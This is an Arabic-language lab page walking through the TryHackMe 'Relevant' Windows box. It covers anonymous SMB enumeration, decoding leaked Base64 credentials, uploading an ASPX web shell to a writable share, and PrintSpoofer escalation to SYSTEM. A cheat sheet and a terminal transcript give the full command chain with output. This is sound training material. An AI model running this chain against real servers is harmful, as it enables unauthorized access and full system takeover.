Lab: Relevant | STY IT Labs
STY IT Labs · TryHackMe · Medium

Lab: Relevant
SMB Share Leak + WebDAV Upload + PrintSpoofer

سيرفر ويندوز فيه مشاركة SMB باسم nt4wrksv بتسرب كريدنشيلز Base64، رفع ASPX Web Shell عبر الشير القابل للكتابة، وتصعيد صلاحيات نهائي لـ SYSTEM عبر PrintSpoofer.

MediumSMB Null SessionASPX Web ShellPrintSpoofer
WIN
Medium
1.5-2.5h
5 مهام
270 XP
TryHackMe
Windows Server

عن اللاب

لاب Relevant بيبدأ بـ Null Session على SMB بيكشف مشاركة غير عادية اسمها nt4wrksv — جواها ملف passwords.txt فيه كريدنشيلز مُشفّرة بـ Base64 بس. بعد فك التشفير وتسجيل الدخول بالكريدنشيلز دي، smbmap بيوريك إن نفس الشير قابل للكتابة — فرصة مثالية لرفع ASPX Web Shell وتنفيذ أوامر عبر المتصفح مباشرة. لما تاخد Reverse Shell، whoami /priv بيوريك إن عندك SeImpersonatePrivilege — Juicy Potato وRogue Potato ممكن ما تنفعش هنا، لكن PrintSpoofer بينجح ويدّيك NT AUTHORITY\SYSTEM كاملة.

لو Juicy Potato ورفاقه فشلوا معاك، جرّب PrintSpoofer — بيستغل Print Spooler Named Pipe بدل الـ COM objects القديمة.

Relevant Badge

أكمل اللاب واحصل على الـ Badge — أضفه لملفك على LinkedIn

مسار الهجوم

1

Nmap — HTTP + SMB على بورت مرتفع

اكتشاف خدمة HTTP على port 80 وخدمة SMB إضافية مرتبطة بـ port 49663.

49663
2

smbclient — Null Session

تسجيل دخول Anonymous على SMB بيكشف شير nt4wrksv غير عادي.

nt4wrksv
3

passwords.txt → فك Base64

الملف المسرب فيه كريدنشيلز مُشفّرة Base64 — فكها بيديك يوزر وباسورد صالحين.

Base64 Decode
4

smbmap — الشير قابل للكتابة

smbmap بالكريدنشيلز الجديدة بيأكد إن nt4wrksv مش للقراءة بس — ممكن ترفع ملفات فيه.

Writable Share
5

رفع ASPX Web Shell

رفع aspx_cmd.aspx عبر الشير، تشغيله من المتصفح بيديك تنفيذ أوامر بصلاحيات IIS APPPOOL.

ASPX Shell
6

PrintSpoofer → SYSTEM 🏆

whoami /priv بيكشف SeImpersonatePrivilege — PrintSpoofer.exe بيستغلها ويديك شِل SYSTEM كامل.

PrintSpoofer

مراحل اللاب

Recon
SMB Null Session
Decode Creds
Writable Share
ASPX Upload RCE
SYSTEM 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
smbclient -L //<IP>/ -Nعرض المشاركات بدون كريدنشيلز (Null Session)Enum
smbclient //<IP>/nt4wrksv -Nالدخول للشير وتحميل passwords.txtEnum
echo ‘<base64>’ | base64 -dفك تشفير الكريدنشيلزDecode
smbmap -u user -p pass -H <IP>التأكد إن الشير قابل للكتابةEnum
smbclient //<IP>/nt4wrksv -U user; put aspx_cmd.aspxرفع ASPX Web Shell على الشيرUpload
http://<IP>:49663/nt4wrksv/aspx_cmd.aspx?cmd=whoamiتنفيذ أوامر عبر الشِل المرفوعShell
PrintSpoofer.exe -i -c cmdاستغلال SeImpersonatePrivilege للحصول على SYSTEMRoot

المهام والأسئلة

Task 1 — SMB Enumeration

smbclient null session · اكتشاف nt4wrksv

+40 XP

Task 2 — Credential Leak

فك Base64 · تأكيد الكريدنشيلز

+60 XP

Task 3 — ASPX Upload RCE

smbmap · رفع web shell · تنفيذ أوامر

+90 XP
04

Task 4 — PrintSpoofer to SYSTEM 🏆

whoami /priv · PrintSpoofer · root.txt

+80 XP
▶ أدخل الـ Flag

Terminal — Relevant Full Attack

root@kali — Relevant
# SMB null session
smbclient -L //10.10.X.X/ -N
nt4wrksv Disk

# Download + decode creds
smbclient //10.10.X.X/nt4wrksv -N -c ‘get passwords.txt’
cat passwords.txt | base64 -d
Bob:**************

# Confirm writable + upload shell
smbmap -u Bob -p ‘**************’ -H 10.10.X.X
nt4wrksv READ, WRITE
smbclient //10.10.X.X/nt4wrksv -U Bob -c ‘put aspx_cmd.aspx’

# Trigger shell
curl http://10.10.X.X:49663/nt4wrksv/aspx_cmd.aspx?cmd=whoami
iis apppool\web

# PrintSpoofer -> SYSTEM
whoami /priv
SeImpersonatePrivilege Enabled
PrintSpoofer.exe -i -c cmd
C:\Windows\system32> whoami → nt authority\system
└─#

المهارات المكتسبة

SMB Null Session Enumeration
Base64 Credential Decoding
Writable Share RCE
ASPX Web Shell
SeImpersonatePrivilege Abuse
PrintSpoofer SYSTEM PrivEsc

الأدوات المستخدمة

smbclient / smbmapتعداد ورفع ملفات على مشاركات SMB
ASPX Web Shellتنفيذ أوامر عبر خدمة الويب على بورت SMB-HTTP
PrintSpooferاستغلال SeImpersonatePrivilege للحصول على SYSTEM
Null Session على SMB لازم يكون أول خطوة تعملها على أي هدف ويندوز — كتير من الأنظمة بتسيب شيرز قابلة للقراءة أو حتى الكتابة من غير أي Authentication.